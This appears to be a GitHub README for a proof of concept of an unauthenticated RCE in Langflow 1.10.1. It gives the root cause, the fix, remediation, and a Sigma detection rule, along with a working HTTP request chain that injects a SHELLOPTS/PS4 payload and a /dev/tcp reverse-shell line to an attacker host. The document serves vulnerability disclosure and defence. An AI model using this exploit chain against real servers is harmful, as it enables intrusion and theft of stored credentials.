BiiTts/CVE-2026-12940-Langflow-Unauth-RCE

GitHub: BiiTts/CVE-2026-12940-Langflow-Unauth-RCE

该项目提供了 Langflow OSS <=1.10.1 版本中由 MCP stdio 环境变量注入(SHELLOPTS/PS4)引发的未授权远程代码执行漏洞(CVE-2026-12940)的 PoC 脚本、根因分析与复现环境。

Stars: 0 | Forks: 0

# CVE-2026-12940 — Langflow OSS ≤ 1.10.1 未授权 RCE (MCP stdio 环境变量注入) [Langflow](https://github.com/langflow-ai/langflow) OSS 至 1.10.1 版本中存在的未授权远程代码执行。 用于保护 MCP stdio 服务器配置(`DANGEROUS_ENV_VARS`)的环境变量黑名单遗漏了 `SHELLOPTS`、`BASHOPTS` 和 `PS4`。由于 MCP stdio 启动器通过 `bash -c` 运行配置的命令,攻击者可以注入 `SHELLOPTS=xtrace` 以及 `PS4` 命令替换, 从而以 Langflow 进程用户的身份执行任意的 shell 命令——无需有效的 MCP 命令, 在默认安装下也无需身份验证。 | | | |---|---| | **CVE** | CVE-2026-12940 | | **产品** | Langflow OSS | | **受影响版本** | 1.0.0 – 1.10.1 | | **修复版本** | 1.10.2 | | **类别** | 通过环境变量注入引发的 OS 命令注入 (CWE-78) | | **CVSS 3.1** | 9.8 CRITICAL — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` (IBM CNA) | | **身份验证** | 默认安装下无需身份验证(`AUTO_LOGIN` 在 1.10.1 中默认开启) | | **状态** | **确认存在漏洞** — 已在 `langflowai/langflow:1.10.1` 上完成端到端验证 | ## 根本原因 Langflow 允许用户通过 `POST /api/v2/mcp/servers/{name}` 注册外部 MCP (Model Context Protocol) stdio 服务器。请求体由 `MCPServerConfig` (`src/backend/base/langflow/api/v2/schemas.py`) 进行验证,该验证对 `command`、 `args` 和环境变量的**键**(keys)进行了严格控制: - `command` 必须在白名单内(`node`、`python`、`npx`、`uvx`、`docker`、`sh`、`bash`…)。 - `args` 会扫描 shell 元字符(`;`、`|`、`$`、`` ` ``、`(`、`)`、…) 及危险关键字(`-c`、`eval`、`pip install`、…)。 - 环境变量的**键**(keys)会根据 `DANGEROUS_ENV_VARS`(`LD_PRELOAD`、`PATH`、`NODE_OPTIONS`、 `PYTHONPATH`、`BASH_ENV`、…)进行校验。 这两个缺陷结合在一起最终导致了 RCE: 1. **环境变量的值(values)从未被过滤。** 只有键会被与黑名单进行比对校验; *值(values)*被原封不动地传递。因此,即使 `PS4` 的值被设为 `$(id)` 也会通过校验, 而如果完全相同的字符出现在 `args` 中则会被拒绝。 2. **黑名单不完整。** 在 1.10.1 版本中,`DANGEROUS_ENV_VARS` 并不包含 `shellopts`、`bashopts` 或 `ps4`。 随后,启动器(`src/lfx/src/lfx/base/mcp/util.py`)会在 Unix 系统上执行: ``` env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})} server_params = StdioServerParameters( command="bash", args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"], env=env_data, ) ``` 设置了 `SHELLOPTS=xtrace` 后,bash 会在启动时启用 `set -x`,并且 **在执行第一行被追踪的代码之前**,展开 `PS4` 提示符。因此,`PS4` 内部的命令替换会 立即执行——这与 `command`/`args` 完全无关,后两者甚至都不需要是有效的命令。 ### 修复方案 (1.10.2) 黑名单被集中管理到了 `src/lfx/src/lfx/base/mcp/util.py` 中的 `DANGEROUS_MCP_ENV_VARS`, 并新增了 `shellopts`、`bashopts`、`ps4`(外加 `env`,作为纵深防御)。 `schemas.py` 现在会调用 `is_dangerous_mcp_env_var()`。在 1.10.2 版本中, 下文演示的注册请求会被拒绝并返回 HTTP 422。 ## 概念验证 (PoC) ``` $ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1" [*] target : http://127.0.0.1:7860 [*] PS4 : $(id > /tmp/proof 2>&1) [+] obtained superuser token via /api/v1/auto_login (no credentials) [+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200) [+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200) [+] payload PS4 executed on the server as the Langflow process user $ docker exec lf-12940 cat /tmp/proof uid=1000(user) gid=0(root) groups=0(root) ``` 原始 HTTP 请求链: ``` GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds) POST /api/v2/mcp/servers/pwn HTTP/1.1 Authorization: Bearer Content-Type: application/json {"command":"uvx","args":["mcp-server-fetch"], "env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}} → 200 (accepted; LD_PRELOAD here → 422) GET /api/v2/mcp/servers?action_count=true HTTP/1.1 Authorization: Bearer → 200, launcher spawns bash → PS4 runs `id` ``` `--ps4` 提供了用于反弹 shell / OAST 回调的原始利用原语: ``` python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)' ``` ## 复现测试环境 ``` docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1 # (此容器没有 docker bridge;需要 --network host) # Langflow 使用默认 config 出现在 http://127.0.0.1:7860 python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1" docker exec lf-12940 cat /tmp/proof ``` 已修复版本的边界情况(请求被拒绝): ``` docker run -d --name lf-patched --network host langflowai/langflow:1.10.2 # 使用 SHELLOPTS POST .../mcp/servers/pwn → HTTP 422 # “出于安全原因,不允许使用环境变量 'SHELLOPTS'” ``` 完整的捕获记录请参见 [`EVIDENCE.txt`](EVIDENCE.txt), 源码层面的分析请参见 [`ANALYSIS.md`](ANALYSIS.md)。 ## 结论 **确认存在漏洞**,在 `langflowai/langflow:1.10.1` 上已通过两种独立的 技术手段验证: 1. **写入文件并包含解析后的输出** — 请求之前不存在的文件中 包含了 `uid=1000(user) gid=0(root) groups=0(root)`,这是针对目标系统 `/etc/passwd` 解析后得到的 `id(1)` 真实输出。这不是对输入字符串 `$(id …)` 的简单回显。 2. **带外 TCP 回调** — 目标向攻击者的监听器发起了回调,携带了其 真实的 hostname 和内核信息(`CALLBACK user@vbox 6.18.12+kali-amd64`)。 **已修复**,在 `langflowai/langflow:1.10.2` 上 — 相同的注册请求会返回 HTTP 422。 ## 影响 以 Langflow 服务账号身份执行任意命令。可完整读取 Langflow 数据库中的所有 secret、 凭证和 flow,访问内部服务和云元数据,并以此为跳板渗透进周边网络。 ## 修复建议 - 升级至 **Langflow OSS ≥ 1.10.2**。 - 在启用 `AUTO_LOGIN` 的情况下,不要将 Langflow 暴露至不受信任的网络;请设置显式的 超级管理员凭证并禁用自动登录。 - 纵深防御:在受限账户下运行该服务,并禁止其出站网络访问。 ## 检测 关注 `env` 中包含 shell 控制变量的 MCP 服务器注册请求,以及 Langflow 进程衍生的 `bash` 子进程: ``` POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4" process: bash -c "exec …" parented by the langflow/gunicorn worker ``` Sigma(进程创建): ``` title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940) logsource: { category: process_creation, product: linux } detection: selection: Image|endswith: '/bash' CommandLine|contains: 'exec ' ParentImage|contains: 'langflow' env_marker: CommandLine|contains: - 'SHELLOPTS' - 'PS4=$(' condition: selection or env_marker level: high ``` ## 许可证 © Caio Fabrício (BiiTts)。
标签:Go语言工具, Langflow, MCP协议, 应用安全, 概念验证, 环境变量注入, 编程工具, 请求拦截, 远程代码执行, 逆向工具